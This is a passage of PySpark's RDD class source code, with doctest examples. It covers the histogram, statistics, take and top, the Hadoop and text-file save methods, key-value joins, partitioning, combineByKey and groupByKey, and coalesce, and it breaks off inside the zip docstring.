evenly spaced between the minimum and maximum of the RDD. For example, if the min value is 0 and the max is 100, given `buckets` as 2, the resulting buckets will be [0,50) [50,100]. `buckets` must be at least 1. An exception is raised if the RDD contains infinity. If the elements in the RDD do not vary (max == min), a single bucket will be used. The return value is a tuple of buckets and histogram. Examples -------- >>> rdd = sc.parallelize(range(51)) >>> rdd.histogram(2) ([0, 25, 50], [25, 26]) >>> rdd.histogram([0, 5, 25, 50]) ([0, 5, 25, 50], [5, 20, 26]) >>> rdd.histogram([0, 15, 30, 45, 60]) # evenly spaced buckets ([0, 15, 30, 45, 60], [15, 15, 15, 6]) >>> rdd = sc.parallelize(["ab", "ac", "b", "bd", "ef"]) >>> rdd.histogram(("a", "b", "c")) (('a', 'b', 'c'), [2, 2]) """ if isinstance(buckets, int): if buckets < 1: raise ValueError("number of buckets must be >= 1") # filter out non-comparable elements def comparable(x): if x is None: return False if type(x) is float and isnan(x): return False return True filtered = self.filter(comparable) # faster than stats() def minmax(a, b): return min(a[0], b[0]), max(a[1], b[1]) try: minv, maxv = filtered.map(lambda x: (x, x)).reduce(minmax) except TypeError as e: if " empty " in str(e): raise ValueError("can not generate buckets from empty RDD") raise if minv == maxv or buckets == 1: return [minv, maxv], [filtered.count()] try: inc = (maxv - minv) / buckets except TypeError: raise TypeError("Can not generate buckets with non-number in RDD") if isinf(inc): raise ValueError("Can not generate buckets with infinite value") # keep them as integer if possible inc = int(inc) if inc * buckets != maxv - minv: inc = (maxv - minv) * 1.0 / buckets buckets = [i * inc + minv for i in range(buckets)] buckets.append(maxv) # fix accumulated error even = True elif isinstance(buckets, (list, tuple)): if len(buckets) < 2: raise ValueError("buckets should have more than one value") if any(i is None or isinstance(i, float) and isnan(i) for i in buckets): raise ValueError("can not have None or NaN in buckets") if sorted(buckets) != list(buckets): raise ValueError("buckets should be sorted") if len(set(buckets)) != len(buckets): raise ValueError("buckets should not contain duplicated values") minv = buckets[0] maxv = buckets[-1] even = False inc = None try: steps = [buckets[i + 1] - buckets[i] for i in range(len(buckets) - 1)] except TypeError: pass # objects in buckets do not support '-' else: if max(steps) - min(steps) < 1e-10: # handle precision errors even = True inc = (maxv - minv) / (len(buckets) - 1) else: raise TypeError("buckets should be a list or tuple or number(int or long)") def histogram(iterator): counters = [0] * len(buckets) for i in iterator: if i is None or (type(i) is float and isnan(i)) or i > maxv or i < minv: continue t = int((i - minv) / inc) if even else bisect.bisect_right(buckets, i) - 1 counters[t] += 1 # add last two together last = counters.pop() counters[-1] += last return [counters] def mergeCounters(a, b): return [i + j for i, j in zip(a, b)] return buckets, self.mapPartitions(histogram).reduce(mergeCounters) def mean(self): """ Compute the mean of this RDD's elements. Examples -------- >>> sc.parallelize([1, 2, 3]).mean() 2.0 """ return self.stats().mean() def variance(self): """ Compute the variance of this RDD's elements. Examples -------- >>> sc.parallelize([1, 2, 3]).variance() 0.666... """ return self.stats().variance() def stdev(self): """ Compute the standard deviation of this RDD's elements. Examples -------- >>> sc.parallelize([1, 2, 3]).stdev() 0.816... """ return self.stats().stdev() def sampleStdev(self): """ Compute the sample standard deviation of this RDD's elements (which corrects for bias in estimating the standard deviation by dividing by N-1 instead of N). Examples -------- >>> sc.parallelize([1, 2, 3]).sampleStdev() 1.0 """ return self.stats().sampleStdev() def sampleVariance(self): """ Compute the sample variance of this RDD's elements (which corrects for bias in estimating the variance by dividing by N-1 instead of N). Examples -------- >>> sc.parallelize([1, 2, 3]).sampleVariance() 1.0 """ return self.stats().sampleVariance() def countByValue(self): """ Return the count of each unique value in this RDD as a dictionary of (value, count) pairs. Examples -------- >>> sorted(sc.parallelize([1, 2, 1, 2, 2], 2).countByValue().items()) [(1, 2), (2, 3)] """ def countPartition(iterator): counts = defaultdict(int) for obj in iterator: counts[obj] += 1 yield counts def mergeMaps(m1, m2): for k, v in m2.items(): m1[k] += v return m1 return self.mapPartitions(countPartition).reduce(mergeMaps) def top(self, num, key=None): """ Get the top N elements from an RDD. Notes ----- This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. It returns the list sorted in descending order. Examples -------- >>> sc.parallelize([10, 4, 2, 12, 3]).top(1) [12] >>> sc.parallelize([2, 3, 4, 5, 6], 2).top(2) [6, 5] >>> sc.parallelize([10, 4, 2, 12, 3]).top(3, key=str) [4, 3, 2] """ def topIterator(iterator): yield heapq.nlargest(num, iterator, key=key) def merge(a, b): return heapq.nlargest(num, a + b, key=key) return self.mapPartitions(topIterator).reduce(merge) def takeOrdered(self, num, key=None): """ Get the N elements from an RDD ordered in ascending order or as specified by the optional key function. Notes ----- This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. Examples -------- >>> sc.parallelize([10, 1, 2, 9, 3, 4, 5, 6, 7]).takeOrdered(6) [1, 2, 3, 4, 5, 6] >>> sc.parallelize([10, 1, 2, 9, 3, 4, 5, 6, 7], 2).takeOrdered(6, key=lambda x: -x) [10, 9, 7, 6, 5, 4] """ def merge(a, b): return heapq.nsmallest(num, a + b, key) return self.mapPartitions(lambda it: [heapq.nsmallest(num, it, key)]).reduce(merge) def take(self, num): """ Take the first num elements of the RDD. It works by first scanning one partition, and use the results from that partition to estimate the number of additional partitions needed to satisfy the limit. Translated from the Scala implementation in RDD#take(). Notes ----- This method should only be used if the resulting array is expected to be small, as all the data is loaded into the driver's memory. Examples -------- >>> sc.parallelize([2, 3, 4, 5, 6]).cache().take(2) [2, 3] >>> sc.parallelize([2, 3, 4, 5, 6]).take(10) [2, 3, 4, 5, 6] >>> sc.parallelize(range(100), 100).filter(lambda x: x > 90).take(3) [91, 92, 93] """ items = [] totalParts = self.getNumPartitions() partsScanned = 0 while len(items) < num and partsScanned < totalParts: # The number of partitions to try in this iteration. # It is ok for this number to be greater than totalParts because # we actually cap it at totalParts in runJob. numPartsToTry = 1 if partsScanned > 0: # If we didn't find any rows after the previous iteration, # quadruple and retry. Otherwise, interpolate the number of # partitions we need to try, but overestimate it by 50%. # We also cap the estimation in the end. if len(items) == 0: numPartsToTry = partsScanned * 4 else: # the first parameter of max is >=1 whenever partsScanned >= 2 numPartsToTry = int(1.5 * num * partsScanned / len(items)) - partsScanned numPartsToTry = min(max(numPartsToTry, 1), partsScanned * 4) left = num - len(items) def takeUpToNumLeft(iterator): iterator = iter(iterator) taken = 0 while taken < left: try: yield next(iterator) except StopIteration: return taken += 1 p = range(partsScanned, min(partsScanned + numPartsToTry, totalParts)) res = self.context.runJob(self, takeUpToNumLeft, p) items += res partsScanned += numPartsToTry return items[:num] def first(self): """ Return the first element in this RDD. Examples -------- >>> sc.parallelize([2, 3, 4]).first() 2 >>> sc.parallelize([]).first() Traceback (most recent call last): ... ValueError: RDD is empty """ rs = self.take(1) if rs: return rs[0] raise ValueError("RDD is empty") def isEmpty(self): """ Returns true if and only if the RDD contains no elements at all. Notes ----- An RDD may be empty even when it has at least 1 partition. Examples -------- >>> sc.parallelize([]).isEmpty() True >>> sc.parallelize([1]).isEmpty() False """ return self.getNumPartitions() == 0 or len(self.take(1)) == 0 def saveAsNewAPIHadoopDataset(self, conf, keyConverter=None, valueConverter=None): """ Output a Python RDD of key-value pairs (of form ``RDD[(K, V)]``) to any Hadoop file system, using the new Hadoop OutputFormat API (mapreduce package). Keys/values are converted for output using either user specified converters or, by default, "org.apache.spark.api.python.JavaToWritableConverter". Parameters ---------- conf : dict Hadoop job configuration keyConverter : str, optional fully qualified classname of key converter (None by default) valueConverter : str, optional fully qualified classname of value converter (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsHadoopDataset( pickledRDD._jrdd, True, jconf, keyConverter, valueConverter, True ) def saveAsNewAPIHadoopFile( self, path, outputFormatClass, keyClass=None, valueClass=None, keyConverter=None, valueConverter=None, conf=None, ): """ Output a Python RDD of key-value pairs (of form ``RDD[(K, V)]``) to any Hadoop file system, using the new Hadoop OutputFormat API (mapreduce package). Key and value types will be inferred if not specified. Keys and values are converted for output using either user specified converters or "org.apache.spark.api.python.JavaToWritableConverter". The `conf` is applied on top of the base Hadoop conf associated with the SparkContext of this RDD to create a merged Hadoop MapReduce job configuration for saving the data. path : str path to Hadoop file outputFormatClass : str fully qualified classname of Hadoop OutputFormat (e.g. "org.apache.hadoop.mapreduce.lib.output.SequenceFileOutputFormat") keyClass : str, optional fully qualified classname of key Writable class (e.g. "org.apache.hadoop.io.IntWritable", None by default) valueClass : str, optional fully qualified classname of value Writable class (e.g. "org.apache.hadoop.io.Text", None by default) keyConverter : str, optional fully qualified classname of key converter (None by default) valueConverter : str, optional fully qualified classname of value converter (None by default) conf : dict, optional Hadoop job configuration (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsNewAPIHadoopFile( pickledRDD._jrdd, True, path, outputFormatClass, keyClass, valueClass, keyConverter, valueConverter, jconf, ) def saveAsHadoopDataset(self, conf, keyConverter=None, valueConverter=None): """ Output a Python RDD of key-value pairs (of form ``RDD[(K, V)]``) to any Hadoop file system, using the old Hadoop OutputFormat API (mapred package). Keys/values are converted for output using either user specified converters or, by default, "org.apache.spark.api.python.JavaToWritableConverter". Parameters ---------- conf : dict Hadoop job configuration keyConverter : str, optional fully qualified classname of key converter (None by default) valueConverter : str, optional fully qualified classname of value converter (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsHadoopDataset( pickledRDD._jrdd, True, jconf, keyConverter, valueConverter, False ) def saveAsHadoopFile( self, path, outputFormatClass, keyClass=None, valueClass=None, keyConverter=None, valueConverter=None, conf=None, compressionCodecClass=None, ): """ Output a Python RDD of key-value pairs (of form ``RDD[(K, V)]``) to any Hadoop file system, using the old Hadoop OutputFormat API (mapred package). Key and value types will be inferred if not specified. Keys and values are converted for output using either user specified converters or "org.apache.spark.api.python.JavaToWritableConverter". The `conf` is applied on top of the base Hadoop conf associated with the SparkContext of this RDD to create a merged Hadoop MapReduce job configuration for saving the data. Parameters ---------- path : str path to Hadoop file outputFormatClass : str fully qualified classname of Hadoop OutputFormat (e.g. "org.apache.hadoop.mapred.SequenceFileOutputFormat") keyClass : str, optional fully qualified classname of key Writable class (e.g. "org.apache.hadoop.io.IntWritable", None by default) valueClass : str, optional fully qualified classname of value Writable class (e.g. "org.apache.hadoop.io.Text", None by default) keyConverter : str, optional fully qualified classname of key converter (None by default) valueConverter : str, optional fully qualified classname of value converter (None by default) conf : dict, optional (None by default) compressionCodecClass : str fully qualified classname of the compression codec class i.e. "org.apache.hadoop.io.compress.GzipCodec" (None by default) """ jconf = self.ctx._dictToJavaMap(conf) pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsHadoopFile( pickledRDD._jrdd, True, path, outputFormatClass, keyClass, valueClass, keyConverter, valueConverter, jconf, compressionCodecClass, ) def saveAsSequenceFile(self, path, compressionCodecClass=None): """ Output a Python RDD of key-value pairs (of form ``RDD[(K, V)]``) to any Hadoop file system, using the "org.apache.hadoop.io.Writable" types that we convert from the RDD's key and value types. The mechanism is as follows: 1. Pickle is used to convert pickled Python RDD into RDD of Java objects. 2. Keys and values of this Java RDD are converted to Writables and written out. Parameters ---------- path : str path to sequence file compressionCodecClass : str, optional fully qualified classname of the compression codec class i.e. "org.apache.hadoop.io.compress.GzipCodec" (None by default) """ pickledRDD = self._pickled() self.ctx._jvm.PythonRDD.saveAsSequenceFile( pickledRDD._jrdd, True, path, compressionCodecClass ) def saveAsPickleFile(self, path, batchSize=10): """ Save this RDD as a SequenceFile of serialized objects. The serializer used is :class:`pyspark.serializers.CPickleSerializer`, default batch size is 10. Examples -------- >>> from tempfile import NamedTemporaryFile >>> tmpFile = NamedTemporaryFile(delete=True) >>> tmpFile.close() >>> sc.parallelize([1, 2, 'spark', 'rdd']).saveAsPickleFile(tmpFile.name, 3) >>> sorted(sc.pickleFile(tmpFile.name, 5).map(str).collect()) ['1', '2', 'rdd', 'spark'] """ if batchSize == 0: ser = AutoBatchedSerializer(CPickleSerializer()) else: ser = BatchedSerializer(CPickleSerializer(), batchSize) self._reserialize(ser)._jrdd.saveAsObjectFile(path) def saveAsTextFile(self, path, compressionCodecClass=None): """ Save this RDD as a text file, using string representations of elements. Parameters ---------- path : str path to text file compressionCodecClass : str, optional fully qualified classname of the compression codec class i.e. "org.apache.hadoop.io.compress.GzipCodec" (None by default) Examples -------- >>> from tempfile import NamedTemporaryFile >>> tempFile = NamedTemporaryFile(delete=True) >>> tempFile.close() >>> sc.parallelize(range(10)).saveAsTextFile(tempFile.name) >>> from fileinput import input >>> from glob import glob >>> ''.join(sorted(input(glob(tempFile.name + "/part-0000*")))) '0\\n1\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9\\n' Empty lines are tolerated when saving to text files. >>> from tempfile import NamedTemporaryFile >>> tempFile2 = NamedTemporaryFile(delete=True) >>> tempFile2.close() >>> sc.parallelize(['', 'foo', '', 'bar', '']).saveAsTextFile(tempFile2.name) >>> ''.join(sorted(input(glob(tempFile2.name + "/part-0000*")))) '\\n\\n\\nbar\\nfoo\\n' Using compressionCodecClass >>> from tempfile import NamedTemporaryFile >>> tempFile3 = NamedTemporaryFile(delete=True) >>> tempFile3.close() >>> codec = "org.apache.hadoop.io.compress.GzipCodec" >>> sc.parallelize(['foo', 'bar']).saveAsTextFile(tempFile3.name, codec) >>> from fileinput import input, hook_compressed >>> result = sorted(input(glob(tempFile3.name + "/part*.gz"), openhook=hook_compressed)) >>> ''.join([r.decode('utf-8') if isinstance(r, bytes) else r for r in result]) 'bar\\nfoo\\n' """ def func(split, iterator): for x in iterator: if not isinstance(x, (str, bytes)): x = str(x) if isinstance(x, str): x = x.encode("utf-8") yield x keyed = self.mapPartitionsWithIndex(func) keyed._bypass_serializer = True if compressionCodecClass: compressionCodec = self.ctx._jvm.java.lang.Class.forName(compressionCodecClass) keyed._jrdd.map(self.ctx._jvm.BytesToString()).saveAsTextFile(path, compressionCodec) else: keyed._jrdd.map(self.ctx._jvm.BytesToString()).saveAsTextFile(path) # Pair functions def collectAsMap(self): """ Return the key-value pairs in this RDD to the master as a dictionary. Notes ----- This method should only be used if the resulting data is expected to be small, as all the data is loaded into the driver's memory. Examples -------- >>> m = sc.parallelize([(1, 2), (3, 4)]).collectAsMap() >>> m[1] 2 >>> m[3] 4 """ return dict(self.collect()) def keys(self): """ Return an RDD with the keys of each tuple. Examples -------- >>> m = sc.parallelize([(1, 2), (3, 4)]).keys() >>> m.collect() [1, 3] """ return self.map(lambda x: x[0]) def values(self): """ Return an RDD with the values of each tuple. Examples -------- >>> m = sc.parallelize([(1, 2), (3, 4)]).values() >>> m.collect() [2, 4] """ return self.map(lambda x: x[1]) def reduceByKey(self, func, numPartitions=None, partitionFunc=portable_hash): """ Merge the values for each key using an associative and commutative reduce function. This will also perform the merging locally on each mapper before sending results to a reducer, similarly to a "combiner" in MapReduce. Output will be partitioned with `numPartitions` partitions, or the default parallelism level if `numPartitions` is not specified. Default partitioner is hash-partition. Examples -------- >>> from operator import add >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.reduceByKey(add).collect()) [('a', 2), ('b', 1)] """ return self.combineByKey(lambda x: x, func, func, numPartitions, partitionFunc) def reduceByKeyLocally(self, func): """ Merge the values for each key using an associative and commutative reduce function, but return the results immediately to the master as a dictionary. This will also perform the merging locally on each mapper before sending results to a reducer, similarly to a "combiner" in MapReduce. Examples -------- >>> from operator import add >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.reduceByKeyLocally(add).items()) [('a', 2), ('b', 1)] """ func = fail_on_stopiteration(func) def reducePartition(iterator): m = {} for k, v in iterator: m[k] = func(m[k], v) if k in m else v yield m def mergeMaps(m1, m2): for k, v in m2.items(): m1[k] = func(m1[k], v) if k in m1 else v return m1 return self.mapPartitions(reducePartition).reduce(mergeMaps) def countByKey(self): """ Count the number of elements for each key, and return the result to the master as a dictionary. Examples -------- >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.countByKey().items()) [('a', 2), ('b', 1)] """ return self.map(lambda x: x[0]).countByValue() def join(self, other, numPartitions=None): """ Return an RDD containing all pairs of elements with matching keys in `self` and `other`. Each pair of elements will be returned as a (k, (v1, v2)) tuple, where (k, v1) is in `self` and (k, v2) is in `other`. Performs a hash join across the cluster. Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2), ("a", 3)]) >>> sorted(x.join(y).collect()) [('a', (1, 2)), ('a', (1, 3))] """ return python_join(self, other, numPartitions) def leftOuterJoin(self, other, numPartitions=None): """ Perform a left outer join of `self` and `other`. For each element (k, v) in `self`, the resulting RDD will either contain all pairs (k, (v, w)) for w in `other`, or the pair (k, (v, None)) if no elements in `other` have key k. Hash-partitions the resulting RDD into the given number of partitions. Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> sorted(x.leftOuterJoin(y).collect()) [('a', (1, 2)), ('b', (4, None))] """ return python_left_outer_join(self, other, numPartitions) def rightOuterJoin(self, other, numPartitions=None): """ Perform a right outer join of `self` and `other`. For each element (k, w) in `other`, the resulting RDD will either contain all pairs (k, (v, w)) for v in this, or the pair (k, (None, w)) if no elements in `self` have key k. Hash-partitions the resulting RDD into the given number of partitions. Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> sorted(y.rightOuterJoin(x).collect()) [('a', (2, 1)), ('b', (None, 4))] """ return python_right_outer_join(self, other, numPartitions) def fullOuterJoin(self, other, numPartitions=None): """ Perform a right outer join of `self` and `other`. For each element (k, v) in `self`, the resulting RDD will either contain all pairs (k, (v, w)) for w in `other`, or the pair (k, (v, None)) if no elements in `other` have key k. Similarly, for each element (k, w) in `other`, the resulting RDD will either contain all pairs (k, (v, w)) for v in `self`, or the pair (k, (None, w)) if no elements in `self` have key k. Hash-partitions the resulting RDD into the given number of partitions. Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2), ("c", 8)]) >>> sorted(x.fullOuterJoin(y).collect()) [('a', (1, 2)), ('b', (4, None)), ('c', (None, 8))] """ return python_full_outer_join(self, other, numPartitions) # TODO: add option to control map-side combining # portable_hash is used as default, because builtin hash of None is different # cross machines. def partitionBy(self, numPartitions, partitionFunc=portable_hash): """ Return a copy of the RDD partitioned using the specified partitioner. Examples -------- >>> pairs = sc.parallelize([1, 2, 3, 4, 2, 4, 1]).map(lambda x: (x, x)) >>> sets = pairs.partitionBy(2).glom().collect() >>> len(set(sets[0]).intersection(set(sets[1]))) 0 """ if numPartitions is None: numPartitions = self._defaultReducePartitions() partitioner = Partitioner(numPartitions, partitionFunc) if self.partitioner == partitioner: return self # Transferring O(n) objects to Java is too expensive. # Instead, we'll form the hash buckets in Python, # transferring O(numPartitions) objects to Java. # Each object is a (splitNumber, [objects]) pair. # In order to avoid too huge objects, the objects are # grouped into chunks. outputSerializer = self.ctx._unbatched_serializer limit = self._memory_limit() / 2 def add_shuffle_key(split, iterator): buckets = defaultdict(list) c, batch = 0, min(10 * numPartitions, 1000) for k, v in iterator: buckets[partitionFunc(k) % numPartitions].append((k, v)) c += 1 # check used memory and avg size of chunk of objects if c % 1000 == 0 and get_used_memory() > limit or c > batch: n, size = len(buckets), 0 for split in list(buckets.keys()): yield pack_long(split) d = outputSerializer.dumps(buckets[split]) del buckets[split] yield d size += len(d) avg = int(size / n) >> 20 # let 1M < avg < 10M if avg < 1: batch = min(sys.maxsize, batch * 1.5) elif avg > 10: batch = max(int(batch / 1.5), 1) c = 0 for split, items in buckets.items(): yield pack_long(split) yield outputSerializer.dumps(items) keyed = self.mapPartitionsWithIndex(add_shuffle_key, preservesPartitioning=True) keyed._bypass_serializer = True with SCCallSiteSync(self.context) as css: pairRDD = self.ctx._jvm.PairwiseRDD(keyed._jrdd.rdd()).asJavaPairRDD() jpartitioner = self.ctx._jvm.PythonPartitioner(numPartitions, id(partitionFunc)) jrdd = self.ctx._jvm.PythonRDD.valueOfPair(pairRDD.partitionBy(jpartitioner)) rdd = RDD(jrdd, self.ctx, BatchedSerializer(outputSerializer)) rdd.partitioner = partitioner return rdd # TODO: add control over map-side aggregation def combineByKey( self, createCombiner, mergeValue, mergeCombiners, numPartitions=None, partitionFunc=portable_hash, ): """ Generic function to combine the elements for each key using a custom set of aggregation functions. Turns an RDD[(K, V)] into a result of type RDD[(K, C)], for a "combined type" C. Users provide three functions: - `createCombiner`, which turns a V into a C (e.g., creates a one-element list) - `mergeValue`, to merge a V into a C (e.g., adds it to the end of a list) - `mergeCombiners`, to combine two C's into a single one (e.g., merges the lists) To avoid memory allocation, both mergeValue and mergeCombiners are allowed to modify and return their first argument instead of creating a new C. In addition, users can control the partitioning of the output RDD. Notes ----- V and C can be different -- for example, one might group an RDD of type (Int, Int) into an RDD of type (Int, List[Int]). Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 1), ("a", 2)]) >>> def to_list(a): ... return [a] ... >>> def append(a, b): ... a.append(b) ... return a ... >>> def extend(a, b): ... a.extend(b) ... return a ... >>> sorted(x.combineByKey(to_list, append, extend).collect()) [('a', [1, 2]), ('b', [1])] """ if numPartitions is None: numPartitions = self._defaultReducePartitions() serializer = self.ctx.serializer memory = self._memory_limit() agg = Aggregator(createCombiner, mergeValue, mergeCombiners) def combineLocally(iterator): merger = ExternalMerger(agg, memory * 0.9, serializer) merger.mergeValues(iterator) return merger.items() locally_combined = self.mapPartitions(combineLocally, preservesPartitioning=True) shuffled = locally_combined.partitionBy(numPartitions, partitionFunc) def _mergeCombiners(iterator): merger = ExternalMerger(agg, memory, serializer) merger.mergeCombiners(iterator) return merger.items() return shuffled.mapPartitions(_mergeCombiners, preservesPartitioning=True) def aggregateByKey( self, zeroValue, seqFunc, combFunc, numPartitions=None, partitionFunc=portable_hash ): """ Aggregate the values of each key, using given combine functions and a neutral "zero value". This function can return a different result type, U, than the type of the values in this RDD, V. Thus, we need one operation for merging a V into a U and one operation for merging two U's, The former operation is used for merging values within a partition, and the latter is used for merging values between partitions. To avoid memory allocation, both of these functions are allowed to modify and return their first argument instead of creating a new U. """ def createZero(): return copy.deepcopy(zeroValue) return self.combineByKey( lambda v: seqFunc(createZero(), v), seqFunc, combFunc, numPartitions, partitionFunc ) def foldByKey(self, zeroValue, func, numPartitions=None, partitionFunc=portable_hash): """ Merge the values for each key using an associative function "func" and a neutral "zeroValue" which may be added to the result an arbitrary number of times, and must not change the result (e.g., 0 for addition, or 1 for multiplication.). Examples -------- >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> from operator import add >>> sorted(rdd.foldByKey(0, add).collect()) [('a', 2), ('b', 1)] """ def createZero(): return copy.deepcopy(zeroValue) return self.combineByKey( lambda v: func(createZero(), v), func, func, numPartitions, partitionFunc ) def _memory_limit(self): return _parse_memory(self.ctx._conf.get("spark.python.worker.memory", "512m")) # TODO: support variant with custom partitioner def groupByKey(self, numPartitions=None, partitionFunc=portable_hash): """ Group the values for each key in the RDD into a single sequence. Hash-partitions the resulting RDD with numPartitions partitions. Notes ----- If you are grouping in order to perform an aggregation (such as a sum or average) over each key, using reduceByKey or aggregateByKey will provide much better performance. Examples -------- >>> rdd = sc.parallelize([("a", 1), ("b", 1), ("a", 1)]) >>> sorted(rdd.groupByKey().mapValues(len).collect()) [('a', 2), ('b', 1)] >>> sorted(rdd.groupByKey().mapValues(list).collect()) [('a', [1, 1]), ('b', [1])] """ def createCombiner(x): return [x] def mergeValue(xs, x): xs.append(x) return xs def mergeCombiners(a, b): a.extend(b) return a memory = self._memory_limit() serializer = self._jrdd_deserializer agg = Aggregator(createCombiner, mergeValue, mergeCombiners) def combine(iterator): merger = ExternalMerger(agg, memory * 0.9, serializer) merger.mergeValues(iterator) return merger.items() locally_combined = self.mapPartitions(combine, preservesPartitioning=True) shuffled = locally_combined.partitionBy(numPartitions, partitionFunc) def groupByKey(it): merger = ExternalGroupBy(agg, memory, serializer) merger.mergeCombiners(it) return merger.items() return shuffled.mapPartitions(groupByKey, True).mapValues(ResultIterable) def flatMapValues(self, f): """ Pass each value in the key-value pair RDD through a flatMap function without changing the keys; this also retains the original RDD's partitioning. Examples -------- >>> x = sc.parallelize([("a", ["x", "y", "z"]), ("b", ["p", "r"])]) >>> def f(x): return x >>> x.flatMapValues(f).collect() [('a', 'x'), ('a', 'y'), ('a', 'z'), ('b', 'p'), ('b', 'r')] """ flat_map_fn = lambda kv: ((kv[0], x) for x in f(kv[1])) return self.flatMap(flat_map_fn, preservesPartitioning=True) def mapValues(self, f): """ Pass each value in the key-value pair RDD through a map function without changing the keys; this also retains the original RDD's partitioning. Examples -------- >>> x = sc.parallelize([("a", ["apple", "banana", "lemon"]), ("b", ["grapes"])]) >>> def f(x): return len(x) >>> x.mapValues(f).collect() [('a', 3), ('b', 1)] """ map_values_fn = lambda kv: (kv[0], f(kv[1])) return self.map(map_values_fn, preservesPartitioning=True) def groupWith(self, other, *others): """ Alias for cogroup but with support for multiple RDDs. Examples -------- >>> w = sc.parallelize([("a", 5), ("b", 6)]) >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> z = sc.parallelize([("b", 42)]) >>> [(x, tuple(map(list, y))) for x, y in sorted(list(w.groupWith(x, y, z).collect()))] [('a', ([5], [1], [2], [])), ('b', ([6], [4], [], [42]))] """ return python_cogroup((self, other) + others, numPartitions=None) # TODO: add variant with custom partitioner def cogroup(self, other, numPartitions=None): """ For each key k in `self` or `other`, return a resulting RDD that contains a tuple with the list of values for that key in `self` as well as `other`. Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 4)]) >>> y = sc.parallelize([("a", 2)]) >>> [(x, tuple(map(list, y))) for x, y in sorted(list(x.cogroup(y).collect()))] [('a', ([1], [2])), ('b', ([4], []))] """ return python_cogroup((self, other), numPartitions) def sampleByKey(self, withReplacement, fractions, seed=None): """ Return a subset of this RDD sampled by key (via stratified sampling). Create a sample of this RDD using variable sampling rates for different keys as specified by fractions, a key to sampling rate map. Examples -------- >>> fractions = {"a": 0.2, "b": 0.1} >>> rdd = sc.parallelize(fractions.keys()).cartesian(sc.parallelize(range(0, 1000))) >>> sample = dict(rdd.sampleByKey(False, fractions, 2).groupByKey().collect()) >>> 100 < len(sample["a"]) < 300 and 50 < len(sample["b"]) < 150 True >>> max(sample["a"]) <= 999 and min(sample["a"]) >= 0 True >>> max(sample["b"]) <= 999 and min(sample["b"]) >= 0 True """ for fraction in fractions.values(): assert fraction >= 0.0, "Negative fraction value: %s" % fraction return self.mapPartitionsWithIndex( RDDStratifiedSampler(withReplacement, fractions, seed).func, True ) def subtractByKey(self, other, numPartitions=None): """ Return each (key, value) pair in `self` that has no pair with matching key in `other`. Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 4), ("b", 5), ("a", 2)]) >>> y = sc.parallelize([("a", 3), ("c", None)]) >>> sorted(x.subtractByKey(y).collect()) [('b', 4), ('b', 5)] """ def filter_func(pair): key, (val1, val2) = pair return val1 and not val2 return self.cogroup(other, numPartitions).filter(filter_func).flatMapValues(lambda x: x[0]) def subtract(self, other, numPartitions=None): """ Return each value in `self` that is not contained in `other`. Examples -------- >>> x = sc.parallelize([("a", 1), ("b", 4), ("b", 5), ("a", 3)]) >>> y = sc.parallelize([("a", 3), ("c", None)]) >>> sorted(x.subtract(y).collect()) [('a', 1), ('b', 4), ('b', 5)] """ # note: here 'True' is just a placeholder rdd = other.map(lambda x: (x, True)) return self.map(lambda x: (x, True)).subtractByKey(rdd, numPartitions).keys() def keyBy(self, f): """ Creates tuples of the elements in this RDD by applying `f`. Examples -------- >>> x = sc.parallelize(range(0,3)).keyBy(lambda x: x*x) >>> y = sc.parallelize(zip(range(0,5), range(0,5))) >>> [(x, list(map(list, y))) for x, y in sorted(x.cogroup(y).collect())] [(0, [[0], [0]]), (1, [[1], [1]]), (2, [[], [2]]), (3, [[], [3]]), (4, [[2], [4]])] """ return self.map(lambda x: (f(x), x)) def repartition(self, numPartitions): """ Return a new RDD that has exactly numPartitions partitions. Can increase or decrease the level of parallelism in this RDD. Internally, this uses a shuffle to redistribute data. If you are decreasing the number of partitions in this RDD, consider using `coalesce`, which can avoid performing a shuffle. Examples -------- >>> rdd = sc.parallelize([1,2,3,4,5,6,7], 4) >>> sorted(rdd.glom().collect()) [[1], [2, 3], [4, 5], [6, 7]] >>> len(rdd.repartition(2).glom().collect()) 2 >>> len(rdd.repartition(10).glom().collect()) 10 """ return self.coalesce(numPartitions, shuffle=True) def coalesce(self, numPartitions, shuffle=False): """ Return a new RDD that is reduced into `numPartitions` partitions. Examples -------- >>> sc.parallelize([1, 2, 3, 4, 5], 3).glom().collect() [[1], [2, 3], [4, 5]] >>> sc.parallelize([1, 2, 3, 4, 5], 3).coalesce(1).glom().collect() [[1, 2, 3, 4, 5]] """ if shuffle: # Decrease the batch size in order to distribute evenly the elements across output # partitions. Otherwise, repartition will possibly produce highly skewed partitions. batchSize = min(10, self.ctx._batchSize or 1024) ser = BatchedSerializer(CPickleSerializer(), batchSize) selfCopy = self._reserialize(ser) jrdd_deserializer = selfCopy._jrdd_deserializer jrdd = selfCopy._jrdd.coalesce(numPartitions, shuffle) else: jrdd_deserializer = self._jrdd_deserializer jrdd = self._jrdd.coalesce(numPartitions, shuffle) return RDD(jrdd, self.ctx, jrdd_deserializer) def zip(self, other): """ Zips this RDD with another one, returning key-value pairs with the first element in each RDD second element in each RDD, etc. Assumes that the two RDDs have the same number of partitions and the same number of elements in each 